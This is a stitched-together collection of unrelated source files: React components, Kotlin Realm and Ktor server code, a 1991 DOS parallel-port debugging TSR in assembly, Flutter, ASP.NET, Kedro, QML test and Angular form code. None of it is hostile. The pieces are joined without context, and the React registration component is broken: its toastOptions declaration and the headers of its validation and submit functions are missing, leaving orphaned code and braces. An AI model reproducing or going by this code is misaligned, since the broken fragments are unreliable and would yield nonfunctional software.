link.download = "file.txt"; // Replace with your desired file name
// Programmatically click the link to trigger the download
link.click();
// Clean up the URL.createObjectURL by revoking the object URL after some time
setTimeout(() => {
URL.revokeObjectURL(link.href);
}, 100);
};
const handlePromptChange=(event)=>{
setPrompt(event.target.value);
}
// API TO SHARE WITH
const share=()=>{
if (navigator.share) {
navigator.share({
title: 'YOUR STORY',
text:story
}).then(() => {
console.log('Thanks for sharing!');
}).catch(err => {
// Handle errors, if occurred
console.log(
"Error while using Web share API:");
console.log(err);
});
} else {
// Alerts user if API not available
alert("Browser doesn't support this API !");
}
}
return (
<>
<div style={{marginLeft:"20%",marginTop:"2%"}}>
<form>
<label>Enter the prompt for the story you want to create</label><br/>
<input type="text" name="prompt" value={prompt} onChange={handlePromptChange}/>
<button type='submit' onClick={PromptShare}>Submit</button><br/><br/><br/>
</form>
{
story!==""?<><label style={{fontWeight:"bold"}}>YourStory</label><br/><textarea value={story} style={{height:"400px",width:"600px",border:"none"}} /><br/><button onClick={downloadText}>Save</button><button onClick={share}>Share</button></>:""
}
</div>
</>
)
}
export default App |
realm.write {
// Create a Frog object named 'Kermit'
// with a RealmSet of favorite snacks
val frog = copyToRealm(
Frog().apply {
name = "Kermit"
favoriteSnacks.add(Snack().apply { name = "Flies" })
favoriteSnacks.add(Snack().apply { name = "Crickets" })
favoriteSnacks.add(Snack().apply { name = "Worms" })
}
)
// Query for frogs that have worms as a favorite snack
val frogs = query<Frog>("favoriteSnacks.name == $0", "Worms").find().first()
// Query for specific snacks
val wormsSnack = frog.favoriteSnacks.first { it.name == "Worms" }
} |
import React, { useState, useEffect } from "react";
import axios from "axios";
import styled from "styled-components";
import { useNavigate, Link } from "react-router-dom";
import { ToastContainer, toast } from "react-toastify";
import "react-toastify/dist/ReactToastify.css";
import { registerRoute } from "../utils/APIRoutes";
export default function Register() {
const navigate = useNavigate();
position: "bottom-right",
autoClose: 8000,
pauseOnHover: true,
draggable: true,
theme: "dark",
};
const [values, setValues] = useState({ /// ЗНАЧЕНИЯ ПО УМОЛЧАНИЮ
username: "",
email: "",
password: "",
confirmPassword: "",
});
useEffect(() => {
if (localStorage.getItem(process.env.REACT_APP_LOCALHOST_KEY)) { // ИДЕТ ПРОВЕРКА, ЕСТЬ ЛИ ДАННЫЕ В ЛОКАЛ СТОРАДЖ ПО КЛЮЧУ REACT...
navigate("/"); /// перекидывает сразу в чат если есть чтото в локал сторадж // ЭТО НУЖНО ДЛЯ ТОГО ЧТО БЫ КАЖДЫЙ РАЗ НЕ АВТОРИЗИРОВАТЬСЯ
}
}, []);
// при срабатывании кода выше переходим сразу в CHAT.JSX
const handleChange = (event) => {
setValues({ ...values, [event.target.name]: event.target.value }); // ОБРАБОТЧИК ВВЕДЕННЫХ ПОЛЬЗОВАТЕЛЕМ ДАННЫХ
};
const { password, confirmPassword, username, email } = values;
if (password !== confirmPassword) {
toast.error(
"Password and confirm password should be same.",
toastOptions
);
return false;
} else if (username.length < 3) {
toast.error(
"Username should be greater than 3 characters.",
toastOptions
);
return false;
} else if (password.length < 8) {
toast.error(
"Password should be equal or greater than 8 characters.",
toastOptions
);
return false;
} else if (email === "") {
toast.error("Email is required.", toastOptions);
return false;
}
return true;
};
event.preventDefault();
if (handleValidation()) {
const { email, username, password } = values;
const { data } = await axios.post(registerRoute, {
username,
email,
password,
});
toast.error(data.msg, toastOptions);
}
localStorage.setItem( //в локалхранилице по ключу REACT_AP... ВСТАВЛЯЮТСЯ ДАННЫЕ ПОЛУЧЕННЫЕ ИЗ ПРОМИСА
process.env.REACT_APP_LOCALHOST_KEY,
JSON.stringify(data.user)
);
navigate("/"); // после регистрации мы переходим сразу в чат
}
}
};
return (
<>
<FormContainer>
<form action="" onSubmit={(event) => handleSubmit(event)}>
<div className="brand">
<h1>zzzzzzz</h1>
</div>
<input
type="text"
placeholder="Username"
name="username"
onChange={(e) => handleChange(e)}
/>
<input
type="email"
placeholder="Email"
name="email"
onChange={(e) => handleChange(e)}
/>
<input
type="password"
placeholder="Password"
name="password"
onChange={(e) => handleChange(e)}
/>
<input
type="password"
placeholder="Confirm Password"
name="confirmPassword"
onChange={(e) => handleChange(e)}
/>
<button type="submit">Create User</button>
<span>
Already have an account ? <Link to="/login">Login.</Link>
</span>
</form>
</FormContainer>
<ToastContainer />
</>
);
}
const FormContainer = styled.div`
height: 100vh;
width: 100vw;
display: flex;
flex-direction: column;
justify-content: center;
gap: 1rem;
align-items: center;
background-color: #131324;
.brand {
display: flex;
align-items: center;
gap: 1rem;
justify-content: center;
img {
height: 5rem;
}
h1 {
color: white;
text-transform: uppercase;
}
}
form {
display: flex;
flex-direction: column;
gap: 2rem;
background-color: #00000076;
border-radius: 2rem;
padding: 3rem 5rem;
}
input {
background-color: transparent;
padding: 1rem;
border: 0.1rem solid #4e0eff;
border-radius: 0.4rem;
color: white;
width: 100%;
font-size: 1rem;
&:focus {
border: 0.1rem solid #997af0;
outline: none;
}
}
button {
background-color: #4e0eff;
color: white;
padding: 1rem 2rem;
border: none;
font-weight: bold;
cursor: pointer;
border-radius: 0.4rem;
font-size: 1rem;
text-transform: uppercase;
&:hover {
background-color: #4e0eff;
}
}
span {
color: white;
text-transform: uppercase;
a {
color: #4e0eff;
text-decoration: none;
font-weight: bold;
}
}
`; |
; (c) Copyright 1991, Martin Stitt
; xmit_par.asm - tsr program, doesparallel port output
; to be loaded in the test machine.
outport equ 03bch ; parallel port base addr
include dumpmacs.inc ; include for intvect equate
_TEXT segment para public 'CODE'
assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT
org 0100H
start:
jmp begin
int_tbl label word
dw xmit_al, xmit_str, xmit_byte, xmit_word
int_tbl_wrds equ $-int_tbl
hex_table db '0123456789ABCDEF'
byte_buff db ' ',0
word_buff db ' ',0
; in: al = the character to transmit
; dx = the output port's base address
;
; out: all registers preserved
; interrupt flag setting preserved
assume ds:nothing,es:nothing,ss:nothing
xmit_al:
push ax
push ax ; save the byte to xmit
inc dx ; address base+1
wait1:
in al,dx ; loop until ready
jmp $+2 ; signal is high
test al,80h
jz wait1
pop ax ; recover data byte
dec dx
pushf ; save int flag state
cli ; no irqs here
out dx,al ; write data to port
jmp $+2
inc dx
inc dx ; address base+2
in al,dx ; read current states
jmp $+2
xor al,1 ; toggle the strobe bit
out dx,al
jmp $+2
dec dx ; back to base+1
wait2:
in al,dx ; loop until ready
jmp $+2 ; signal is low
test al,80h
jnz wait2
dec dx ; restore entry dx
popf ; restore int flag
pop ax
ret
; in: ds:si -> the asciiz string to dump
; dx = the output port's base address
;
; out: all registers preserved
xmit_str:
push ax
push si
cld
xs1:
lodsb ; pull in each char
or al,al ; of the string
jz xs2 ; done yet?
call xmit_al ; xmit the character
jmp short xs1
xs2:
pop si
pop ax
ret
; in: al = the byte to be converted
; ds:si -> buffer in which to write result
;
; out: buffer at ds:si contains two ascii characters
assume ds:nothing,es:nothing,ss:nothing
byte2hex:
push ax
push bx
push si
mov bx,offset hex_table
push ax
shr al,1
shr al,1
shr al,1 ; convert byte to 2 hex
shr al,1 ; chars and stuff
xlat hex_table ; in buffer
mov [si],al
pop ax
and al,0fh
xlat hex_table
mov [si+1],al
pop si
pop bx
pop ax
ret
; in: al = byte to convert and xmit
;
; out: all registers preserved
assume ds:nothing,es:nothing,ss:nothing
xmit_byte:
push si
push ds
mov si,cs
mov ds,si
mov si,offset byte_buff
call byte2hex
call xmit_str ; xmit the buffer
pop ds
pop si
ret
; in: si = word to convert and xmit
;
; out: all registers preserved
assume ds:nothing,es:nothing,ss:nothing
xmit_word:
push ax
push si
push ds
mov ax,si
mov si,cs
mov ds,si
mov si,offset word_buff
xchg ah,al
call byte2hex ; convert word to 4 hex
add si,2 ; chars and stuff
mov al,ah ; in buffer
call byte2hex
sub si,2
call xmit_str ; xmit the buffer
pop ds
pop si
pop ax
ret
; in: ah = function selector
;
; out: all registers preserved
assume ds:nothing,es:nothing,ss:nothing
handler:
push bx
mov bl,ah
xor bh,bh ; lookup function and
shl bx,1 ; call corresponding
cmp bx,int_tbl_wrds ; service routine
jae intx
push dx
mov dx,outport ; load base address
call cs:[int_tbl+bx]
pop dx
intx:
pop bx
iret
endres label byte
;==== main routine
assume ds:_TEXT,es:_TEXT,ss:_TEXT
begin:
xor ax,ax ; hook the int vector
mov es,ax
assume es:nothing
mov word ptr es:[intvect*4],offset handler
mov word ptr es:[intvect*4+2],cs
mov dx,offset endres+15
mov cl,4
shr dx,cl ; terminate & stay res
mov ax,3100h
int 21h
_TEXT ends
end start
|
package no.nav.modia.soknadsstatus
import io.ktor.http.*
import io.ktor.serialization.kotlinx.json.*
import io.ktor.server.application.*
import io.ktor.server.auth.*
import io.ktor.server.plugins.callloging.*
import io.ktor.server.plugins.contentnegotiation.*
import io.ktor.server.plugins.cors.routing.*
import io.ktor.server.request.*
import io.ktor.server.routing.*
import kotlinx.coroutines.runBlocking
import no.nav.common.types.identer.Fnr
import no.nav.modia.soknadsstatus.hendelseconsumer.HendelseConsumer
import no.nav.modia.soknadsstatus.hendelseconsumer.HendelseConsumerPlugin
import no.nav.modia.soknadsstatus.infratructure.naudit.Audit
import no.nav.modia.soknadsstatus.infratructure.naudit.AuditResources
import no.nav.modia.soknadsstatus.kafka.*
import no.nav.modiapersonoversikt.infrastructure.naudit.AuditIdentifier
import no.nav.personoversikt.common.ktor.utils.Security
import no.nav.personoversikt.common.logging.TjenestekallLogg
import org.slf4j.event.Level
fun Application.soknadsstatusModule(
env: Env = Env(),
configuration: Configuration = Configuration.factory(env),
services: Services = Services.factory(env, configuration),
) {
val security =
Security(
listOfNotNull(
configuration.authProviderConfig,
),
)
install(CORS) {
anyHost() // TODO kanskje kun whiteliste personoversikt domenene i første omgang?
allowMethod(HttpMethod.Get)
}
install(BaseNaisApp)
install(Authentication) {
if (env.kafkaApp.appMode == AppMode.NAIS) {
security.setupJWT(this)
} else {
security.setupMock(this, "Z999999", "f24261ea-60ed-4894-a2d6-29e55214df08")
}
}
install(ContentNegotiation) {
json()
}
install(CallLogging) {
level = Level.INFO
disableDefaultColors()
filter { call -> call.request.path().startsWith("/modia-soknadsstatus/api") }
mdc("userId") { security.getSubject(it).joinToString(";") }
}
install(HendelseConsumerPlugin()) {
hendelseConsumer =
HendelseConsumer(
sendToDeadLetterQueueExceptionHandler =
SendToDeadLetterQueueExceptionHandler(
requireNotNull(env.kafkaApp.deadLetterQueueTopic),
services.dlqProducer,
),
topic = requireNotNull(env.kafkaApp.sourceTopic),
kafkaConsumer =
KafkaUtils.createConsumer(
env.kafkaApp,
consumerGroup = "${env.kafkaApp.appName}-hendelse-consumer",
autoCommit = true,
pollRecords = 10,
),
pollDurationMs = env.hendelseConsumerEnv.pollDurationMs,
exceptionRestartDelayMs = env.hendelseConsumerEnv.exceptionRestartDelayMs,
) { _, _, value ->
runCatching {
val decodedValue =
Encoding.decode(InnkommendeHendelse.serializer(), value)
services.hendelseService.onNewHendelse(decodedValue)
}
}
}
install(DeadLetterQueueConsumerPlugin()) {
deadLetterQueueConsumer =
DeadLetterQueueConsumer(
topic = requireNotNull(env.kafkaApp.deadLetterQueueTopic),
kafkaConsumer =
KafkaUtils.createConsumer(
env.kafkaApp,
consumerGroup = "${env.kafkaApp.appName}-dlq-consumer",
),
pollDurationMs = env.kafkaApp.deadLetterQueueConsumerPollIntervalMs,
exceptionRestartDelayMs = env.kafkaApp.deadLetterQueueExceptionRestartDelayMs,
deadLetterMessageSkipService = services.dlSkipService,
deadLetterQueueMetricsGauge = DeadLetterQueueMetricsGaugeImpl(requireNotNull(env.kafkaApp.deadLetterQueueMetricsGaugeName)),
) { _, key, value ->
runCatching {
try {
val decodedValue =
Encoding.decode(InnkommendeHendelse.serializer(), value)
services.hendelseService.onNewHendelse(decodedValue)
} catch (e: Exception) {
TjenestekallLogg.error(
"Klarte ikke å håndtere DL",
fields = mapOf("key" to key, "value" to value),
throwable = e,
)
throw e
}
}
}
}
routing {
authenticate(*security.authproviders) {
route("api") {
route("soknadsstatus") {
route("behandling") {
get("{ident}") {
val kabac = services.accessControl.buildKabac(call.authentication)
val ident = call.getIdent()
call.respondWithResult(
kabac.check(services.policies.tilgangTilBruker(Fnr(ident))).get(
Audit.describe(
call.authentication,
Audit.Action.READ,
AuditResources.Person.SakOgBehandling.Les,
AuditIdentifier.FNR to ident,
),
) {
runCatching {
runBlocking {
if (call.request.queryParameters["inkluderHendelser"].toBoolean()) {
services.behandlingService.getAllForIdentWithHendelser(
userToken = call.getUserToken(),
ident,
)
} else {
services.behandlingService.getAllForIdent(
userToken = call.getUserToken(),
ident,
)
}
}
}
},
)
}
}
route("hendelse") {
get("{ident}") {
val kabac = services.accessControl.buildKabac(call.authentication)
val ident = call.getIdent()
call.respondWithResult(
kabac.check(services.policies.tilgangTilBruker(Fnr(ident))).get(
Audit.describe(
call.authentication,
Audit.Action.READ,
AuditResources.Person.SakOgBehandling.Les,
AuditIdentifier.FNR to ident,
),
) {
runCatching {
runBlocking {
services.hendelseService.getAllForIdent(
userToken = call.getUserToken(),
ident,
)
}
}
},
)
}
}
}
}
}
}
}
private fun ApplicationCall.getIdent(): String =
this.parameters["ident"] ?: throw HttpStatusException(
HttpStatusCode.BadRequest,
"ident missing in request",
)
private fun ApplicationCall.getUserToken(): String =
this.principal<Security.SubjectPrincipal>()?.token?.removeBearerFromToken()
?: throw IllegalStateException("Ingen gyldig token funnet") |
import 'package:flutter/material.dart';
import 'package:task_manager/ui/utils/dimens.dart';
class ImageNetwork extends StatelessWidget {
const ImageNetwork({
super.key,
required this.imageUrl,
this.size,
this.borderRadius,
});
final String imageUrl;
final BorderRadiusGeometry? borderRadius;
final double? size;
@override
Widget build(BuildContext context) {
return Container(
width: size,
height: size,
clipBehavior: Clip.antiAlias,
decoration: BoxDecoration(
color: Theme.of(context).colorScheme.secondary,
borderRadius: borderRadius,
),
padding: const EdgeInsets.all(Dimens.spacing4),
child: Image.network(
imageUrl,
width: size,
height: size,
fit: BoxFit.fill,
loadingBuilder: (BuildContext context, Widget child,
ImageChunkEvent? loadingProgress) {
if (loadingProgress == null) return child;
return Center(
child: CircularProgressIndicator(
value: loadingProgress.expectedTotalBytes != null
? loadingProgress.cumulativeBytesLoaded /
loadingProgress.expectedTotalBytes!
: null,
),
);
},
),
);
}
} |
using FlyingFishMenuWeb.Server;
using FlyingFishMenuWeb.Server.Data;
using Microsoft.EntityFrameworkCore;
using Microsoft.Data.Sqlite;
using Windows.Storage;
using FlyingFishMenuWeb.Server.Repository;
using FlyingFishMenuWeb.Server.Service;
using Azure.Identity;
using FlyingFishMenuWeb.Server.Logger;
using Microsoft.Extensions.DependencyInjection;
using Windows.UI.Xaml;
var builder = WebApplication.CreateBuilder(args);
//Add Azure Key Vault
var clientId = builder.Configuration["AzureAD:ClientId"];
var clientSecret = builder.Configuration["AzureAD:ClientSecret"];
var tenantId = builder.Configuration["AzureAD:TenantId"];
builder.Configuration.AddAzureKeyVault(
new Uri($"https://{builder.Configuration["AzureAD:KeyVaultName"]}.vault.azure.net/"),
new ClientSecretCredential(tenantId, clientId, clientSecret));
//Database logger
builder.Logging.AddDbLogger(options =>
{
builder.Configuration.GetSection("Logging").GetSection("Database").GetSection("Options").Bind(options);
});
SqliteConnectionStringBuilder sqliteConnectionString = new SqliteConnectionStringBuilder();
sqliteConnectionString.DataSource = $"{Directory.GetCurrentDirectory()}\\flyingfishsqlite.db";
sqliteConnectionString.DefaultTimeout = 5000;
//Dependency Injections
builder.Services.AddDbContext<FlyingFishContext>(options =>
options.UseSqlite(sqliteConnectionString.ConnectionString)//builder.Configuration["FlyingFishDatabaseConnection"])
, optionsLifetime: ServiceLifetime.Scoped);
builder.Services.AddScoped<IMenuItemRepository, MenuItemRepository>();
builder.Services.AddScoped<IMenuItemService,MenuItemService>();
builder.Services.AddScoped<IMenuCategoryRepository, MenuCategoryRepository>();
builder.Services.AddScoped<IMenuCategoryService, MenuCategoryService>();
builder.Services.AddControllers();
// Learn more about configuring Swagger/OpenAPI at https://aka.ms/aspnetcore/swashbuckle
builder.Services.AddEndpointsApiExplorer();
builder.Services.AddSwaggerGen(c =>
{
c.SwaggerDoc("v1", new Microsoft.OpenApi.Models.OpenApiInfo
{
Title = "FlyingFish API",
Version = "v1"
});
});
builder.Services.AddCors(options =>
{
options.AddPolicy(
name: Consts.MyAllowSpecificOrigins,
policy =>
{
policy.WithOrigins("http://localhost:5173", "http://localhost:5174")
.AllowAnyMethod()
.AllowAnyHeader();
}
);
});
builder.Services.AddApplicationInsightsTelemetry(new Microsoft.ApplicationInsights.AspNetCore.Extensions.ApplicationInsightsServiceOptions
{
ConnectionString = builder.Configuration["APPLICATIONINSIGHTS_CONNECTION_STRING"]
});
var app = builder.Build();
app.UseDefaultFiles();
app.UseStaticFiles();
app.UseSwagger();
app.UseSwaggerUI();
app.UseCors(Consts.MyAllowSpecificOrigins);
app.UseAuthorization();
app.MapControllers();
app.MapGet("/", () => "Hello World!")
.WithName("flyingfish")
.WithOpenApi();
app.MapControllerRoute(
name: "default",
pattern: "{controller}/{action=Index}/{id?}");
app.Run(); |
# Copyright 2018-2019 QuantumBlack Visual Analytics Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND
# NONINFRINGEMENT. IN NO EVENT WILL THE LICENSOR OR OTHER CONTRIBUTORS
# BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF, OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
# The QuantumBlack Visual Analytics Limited ("QuantumBlack") name and logo
# (either separately or in combination, "QuantumBlack Trademarks") are
# trademarks of QuantumBlack. The License does not grant you any right or
# license to the QuantumBlack Trademarks. You may not use the QuantumBlack
# Trademarks or any confusingly similar mark as a trademark for your product,
# or use the QuantumBlack Trademarks in any other manner that might cause
# confusion in the marketplace, including but not limited to in advertising,
# on websites, or on software.
#
# See the License for the specific language governing permissions and
# limitations under the License.
"""Pipeline construction."""
from kedro.pipeline import Pipeline, node
import arbitrage_using_kedro.nodes.arbitrage as nodes
# Here you can define your data-driven pipeline by importing your functions
# and adding them to the pipeline as follows:
#
# from nodes.data_wrangling import clean_data, compute_features
#
# pipeline = Pipeline([
# node (clean_data, 'customers', 'prepared_customers'),
# node (compute_features, 'prepared_customers', ['X_train', 'Y_train'])
# ])
#
# Once you have your pipeline defined, you can run it from the root of your
# project by calling:
#
# $ kedro run
#
def create_pipeline(**kwargs):
"""Create the project's pipeline.
Args:
kwargs: Ignore any additional arguments added in the future.
Returns:
Pipeline: The resulting pipeline.
"""
###########################################################################
# Here you can find an example pipeline with 4 nodes.
#
# PLEASE DELETE THIS PIPELINE ONCE YOU START WORKING ON YOUR OWN PROJECT AS
# WELL AS THE FILE nodes/example.py
# -------------------------------------------------------------------------
pipeline = Pipeline(
[
node(
nodes.save_data_files_paths_to_csv,
["params:raw_folder"],
"files_df",
),
node(
nodes.combine_raw_multiple_json_to_single_df,
["files_df", "params:needed_obj_keys"],
"cleaned_df",
),
node(
nodes.generate_from_to_columns,
["cleaned_df", "params:supported_currencies_list"],
"base_edges_df",
),
node(
nodes.cast_columns,
"base_edges_df",
"casted_base_edges_df",
),
node(
nodes.generate_edges,
["casted_base_edges_df"],
"all_edges_df",
),
node(
nodes.generate_cycles_df,
["all_edges_df"],
"cycles_df"
),
node(
nodes.generate_arbitrage_df,
["cycles_df"],
"arbitrage_df",
),
]
)
###########################################################################
return pipeline |
/*
* QML Extras - Extra types and utilities to make QML even more awesome
*
* Copyright (C) 2014 geiseri
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as
* published by the Free Software Foundation, either version 2.1 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
import QtQuick 2.4
import QtTest 1.0
import "./../modules/Material/Extras"
TestCase {
name: "Document Tests"
Document {
id: doc
}
Document {
id: changingDoc
}
SignalSpy {
id: dataChangedSpy
target: changingDoc
signalName: "dataChanged"
}
function referenceObject()
{
return {
version : 1,
Element1 : 'StringValue',
Element2 : 12
}
}
function referenceString()
{
return JSON.stringify( referenceObject() );
}
function referenceJson()
{
return JSON.parse( referenceString() );
}
function test_loaddocument() {
doc.fromJSON(referenceJson());
compare( doc.get('Element1'), 'StringValue', "Document value doesn't match" )
}
function test_savedocument() {
doc.set('Element1', 'StringValue');
doc.set('Element2', 2);
compare( doc.toJSON().Element1 , 'StringValue', "Document content doesn't match" )
}
function test_datachanged() {
changingDoc.set('Element1',5 );
dataChangedSpy.wait()
compare(dataChangedSpy.count, 2, "Document change did not fire");
compare(changingDoc.get('Element1'),5, "Document content doesn't match");
changingDoc.set('Element1',5);
dataChangedSpy.wait()
compare(dataChangedSpy.count, 2, "Document was not supposed to change");
changingDoc.set('Element1',10);
dataChangedSpy.wait()
compare(dataChangedSpy.count, 3, "Document change did not fire");
}
} |
import React from "react";
import { Link } from "react-router-dom";
import { MapPinIcon, CurrencyDollarIcon } from "@heroicons/react/24/solid";
const Job = ({ job }) => {
const {
id,
company_name,
logo_url,
job_title,
job_full,
job_types,
salary,
location,
job_description,
job_responsibility,
education_requirement,
experience,
contact_info,
} = job;
return (
<div className="border px-6 rounded-md md:flex justify-between items-center gap-4 space-y-4 py-4">
<div className="md:flex justify-center items-center gap-6">
<figure className="bg-gray-300 h-28 w-40 flex items-center justify-center p-4 rounded-md">
<img className="h-14 w-32 rounded-md" src={logo_url} alt="Movie" />
</figure>
<div className="card-body space-y-2">
<h2 className="card-title font-semibold text-lg">{job_title}</h2>
<p>{company_name}</p>
<p>
<span className="border border-blue-600 rounded-sm p-1 mr-2 text-blue-600">
{job_types}
</span>
<span className="border border-blue-600 rounded-sm p-1 text-blue-600">
{job_full}
</span>
</p>
<p className="flex">
<MapPinIcon className="h-5 text-blue-400 inline-flex" />
<span className="font-semibold pl-2"> Location: </span>
{location}
<CurrencyDollarIcon className="h-5 text-blue-400 inline-flex pl-4" />
<span className="font-semibold pl-2"> Salary: </span>
{salary}
</p>
</div>
</div>
<div className="inline-flex">
<button>
<Link to={`/detail/${id}`} className="btn-primary">
View Details
</Link>
</button>
</div>
</div>
);
};
export default Job; |
import PropTypes from 'prop-types';
import '../../../assets/css/file-upload.css';
import '../../../assets/css/text.css';
import '../../../assets/css/color.css';
import '../../../assets/css/icon.css';
import { FeatureIcon } from '../../../Style-Guid/Misc-Icons/MiscIcon';
import { Button } from './../../../components/button/Button';
export const FileUploadBase = ({
icon,
state,
text,
supportText,
textAction,
}) => {
return (
<div className={`file-upload-base-state--${state}`}>
<div className={`content-file-upload-base`}>
<FeatureIcon
size={'md'}
color={state === 'hover' ? 'primary' : 'gray'}
theme={'light-circle-outline'}
icon={icon ? icon : 'icon-upload-cloud-02'}
/>
<div className={`text-and-support-text-file-upload-base`}>
<div className={`action-file-upload-base`}>
<Button
size={'md'}
hierarchy={'linkColor'}
icon={'default'}
destructive={'false'}
state={state === 'disabled' ? 'disabled' : 'default'}
text={textAction ? textAction : 'Click to upload'}
/>
<span
className={[
`text-sm-regular`,
setTextColor(state),
`text-file-upload-base`,
].join(' ')}
>
{text ? text : 'or drag and drop'}
</span>
</div>
<span
className={[
`text-xs-regular`,
setTextColor(state),
`support-text-file-upload-base`,
].join(' ')}
>
{supportText
? supportText
: 'SVG, PNG, JPG or GIF (max. 800x400px)'}
</span>
</div>
</div>
</div>
);
};
FileUploadBase.propTypes = {
state: PropTypes.oneOf(['default', 'hover', 'disabled']),
};
export const setTextColor = (state) => {
if (state === 'default' || state === 'disabled') {
return 'color-gray-600';
}
if (state === 'hover') {
return 'color-primary-600';
}
}; |
import { HttpErrorResponse } from '@angular/common/http';
import { Component, OnInit } from '@angular/core';
import { FormArray, FormBuilder, FormControl, FormGroup, Validators } from '@angular/forms';
import { catchError, concatMap, distinctUntilChanged, finalize, of } from 'rxjs';
import { PioneerDataService } from 'src/app/Services/pioneer-data.service';
@Component({
selector: 'app-add-vendor',
templateUrl: './add-vendor.component.html',
styleUrls: ['./add-vendor.component.css']
})
export class AddVendorComponent implements OnInit{
governorates:any[]=[]
Cities:any[]=[]
branches:any[]=[]
customSpecialPrice: any[] = [];
MerchentForm:FormGroup;
constructor(private db:FormBuilder,private data:PioneerDataService){
this.MerchentForm=this.db.group({
name:['',[Validators.required]],
userName:['',[Validators.required]],
email:['',[Validators.required , Validators.email]],
phoneNumber:['',[Validators.required,Validators.pattern(/^(010|011|012|015)\d{8}$/)]],
password:['',[Validators.required]],
passwordConfirmed:['',[Validators.required]],
branchId:['',[Validators.required]],
address:['',[Validators.required]],
cityId:['',[Validators.required]],
governorateId:['',[Validators.required]],
storeName:['',[Validators.required]],
returnerPercent:['',[Validators.required]],
specialPrices:this.db.array([this.db.group({
specialCityId: [null, Validators.required],
specialGovernorateId: [null, Validators.required],
specialPrice: [null, Validators.required]
})])
})
// this.MerchentForm.get('governorateId')?.valueChanges.subscribe((value) => {
// this.GEtCities();
// });
this.MerchentForm.get('governorateId')?.valueChanges.pipe(
distinctUntilChanged()
).subscribe((value) => {
this.GEtCities();
});
}
GEtCities() {
const governorateId = this.MerchentForm.get('governorateId')?.value;
if (governorateId) {
this.data.GetAllCities().subscribe({
next: (response) => {
const citiesInGovernorate = response.filter((c: any) => c.governorateId==governorateId);
this.Cities = citiesInGovernorate;
console.log("Cities", citiesInGovernorate);
}
});
}
}
GEtBranches(){
this.data.GetAllBranches().subscribe({
next:(response)=>{
console.log("branch",response)
this.branches=response
}
})
}
GEtGovernorates(){
this.data.GetAllGovernorateWithDelete().subscribe({
next:(response)=>{
console.log("gover",response)
this.governorates=response
this.GEtBranches()
}
})
}
ngOnInit(): void {
this.GEtGovernorates()
}
AddMerchent(){
if(this.MerchentForm.valid){
console.log(this.MerchentForm.value)
this.MerchentForm.value.specialPrices.forEach((row: any) => {
row.specialCityId = parseInt(row.specialCityId, 10);
row.specialGovernorateId = parseInt(row.specialGovernorateId, 10);
row.specialPrice = parseFloat(row.specialPrice);
});
this.data.AddMerchant(this.MerchentForm.value).subscribe({
next:(response)=>{
console.log("Merchent SuccessFully Added",response)
},error:(err:HttpErrorResponse)=>{
console.log(err.error)
}
})
}
}
merchant(){
this.MerchentForm.value.specialPrices?.forEach((element: any) => {
this.customSpecialPrice.push({
specialGovernorateId: Number(element.specialGovernorateId),
specialCityId: Number(element.specialCityId),
specialPrice: Number(element.specialPrice)
});
})
const merchantData = {
name: this.name?.value,
userName: this.userName?.value,
email: this.email?.value,
password: this.password?.value,
passwordConfirmed: this.passwordConfirmed?.value,
phoneNumber: this.phoneNumber?.value,
address: this.address?.value,
branchId: Number(this.branchId ),
governorateId:Number( this.governorateId),
cityId: Number(this.cityId ),
storeName: this.storeName?.value,
returnerPercent: this.returnerPercent?.value,
specialPrices: this.customSpecialPrice
}
console.log(merchantData)
if(this.MerchentForm.valid){
this.MerchentForm.value.specialPrices?.forEach((element: any) => {
this.customSpecialPrice.push({
specialGovernorateId: Number(element.specialGovernorateId),
specialCityId: Number(element.specialCityId),
specialPrice: Number(element.specialPrice)
});
})
const merchantData = {
name: this.name?.value,
userName: this.userName?.value,
email: this.email?.value,
password: this.password?.value,
passwordConfirmed: this.passwordConfirmed?.value,
phoneNumber: this.phoneNumber?.value,
address: this.address?.value,
branchId: Number(this.branchId ),
governorateId:Number( this.governorateId),
cityId: Number(this.cityId ),
storeName: this.storeName?.value,
returnerPercent: this.returnerPercent?.value,
specialPrices: this.customSpecialPrice
}
this.data.AddMerchant(merchantData).subscribe({
next:(response)=>{
console.log("Merchent SuccessFully Added",response)
},error:(err:HttpErrorResponse)=>{
console.log(err.error)
}
})
}
}
addRow() {
const specialPrice = this.db.group({
specialCityId: [null, Validators.required],
specialGovernorateId: [null, Validators.required],
specialPrice: [null, Validators.required]
});
// (this.MerchentForm.get('specialPrices') as FormArray).push(specialPrice);
const specialPricesArray=this.specialPrices as FormArray
specialPricesArray.push(specialPrice)
}
deleteRow(id:number):void{
this.specialPrices.removeAt(id);
}
get name(){
return this.MerchentForm.get("name")
}
get userName(){
return this.MerchentForm.get("userName")
}
get email(){
return this.MerchentForm.get("email")
}
get phoneNumber(){
return this.MerchentForm.get("phoneNumber")
}
get password(){
return this.MerchentForm.get("password")
}
get passwordConfirmed(){
return this.MerchentForm.get("passwordConfirmed")
}
get branchId(){
this.MerchentForm.controls['branchId'].setValue(parseInt(this.MerchentForm.controls['branchId'].value));
return this.MerchentForm.get("branchId")
}
get address(){
return this.MerchentForm.get("address")
}
get cityId(){
this.MerchentForm.controls['cityId'].setValue(parseInt(this.MerchentForm.controls['cityId'].value));
return this.MerchentForm.get("cityId")
}
get governorateId(){
this.MerchentForm.controls['governorateId'].setValue(parseInt(this.MerchentForm.controls['governorateId'].value));
return this.MerchentForm.get("governorateId")
}
get storeName(){
return this.MerchentForm.get("storeName")
}
get returnerPercent(){
return this.MerchentForm.get("returnerPercent")
}
get specialPrices(): FormArray{
return this.MerchentForm.get("specialPrices") as FormArray;
}
